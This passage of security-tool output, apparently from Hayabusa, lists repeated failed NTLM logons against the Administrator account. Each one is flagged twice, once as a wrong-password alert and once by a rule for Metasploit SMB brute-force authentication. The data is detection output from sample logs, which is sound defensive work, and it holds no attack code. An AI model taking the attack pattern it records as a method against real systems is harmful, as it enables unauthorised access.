Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.255 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qCzXKlJ2vPeqqdfa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.255 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tITW0ihpErFk3nKp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MdQqr1T4frPNlulf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.344 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: niiXRpP5AVHpG9Hu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.385 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EThR98jZUdwNxbXQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NBsJcIw859FfEkLD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.465 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.502 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kG4Tv5vauSWhbj8F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.502 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.543 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 453tjgRGMu46vC33 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.543 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1fnzhhfszxJWxLCT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dWPkeL8TnAbC1nSV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.608 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.659 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JrDmUzyK4Xxx6Jn1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.659 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bMTf9D2yjumfS9LM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.704 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.787 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8cCs65ithseTCORa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.787 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.823 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QBrGAScjpAdScGmJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.823 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.864 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n90F99qBpmUUVLId : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.864 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.912 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MLeOkIG0hVHIOnN7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.912 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vVx5uUtkaFIf7PWZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kgd7lCQUQ3dHN18S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:58.993 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.032 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b8m2MmpFVK9Uojp7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.032 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.071 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F0NZjeu3lb5xddVQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.071 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.112 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YjjXBZnyWt0ljzpv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.112 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sinFBozyUR0sBadM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.148 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Au22Y0LIuvTmZDpy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.220 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QDWW3VfZ7rKayV2v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.220 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zPgaFDZtc5wEupnq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.264 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TpYZc2TTDfJFnPHo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.363 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.434 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rYKkl1iHImW9NwKv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.434 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.489 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KxA2dh1iUMaMWOkA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.489 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.542 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sCzEzW8jDZGGZcpd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.542 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.589 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p8510u5OsCVd94I5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.589 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.628 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2a0whHngnv7o1Bz2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.628 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xy6cGuYgubjlXoMw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.668 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.708 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: luoXLN2XZQC0lHfu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.708 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8jdKLW96haKCHHXI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.745 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.792 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9SQSH6E1aKXu1o7T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.792 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nOUdKa838wK1mLFw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.825 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aFmILxspIJsiEHwL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.912 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pCz7qbdSEyqxQSKm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.912 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.960 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ny3F1xPgakJK0CA7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:59.960 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Vi7Moaa6d12CzWhl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.001 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.048 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4fbbRVOig9bn9p5g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.048 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.079 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qSZrfRe9d0LLkbmA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.079 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QqdZMYsbXFlrKFxk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.152 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kypdxj88trEUBEny : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.152 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9hM8fge1IrNsJNd2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SzG27JSj6iAFyiNT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hWcjuW8dU5ATLHzB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:00.269 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 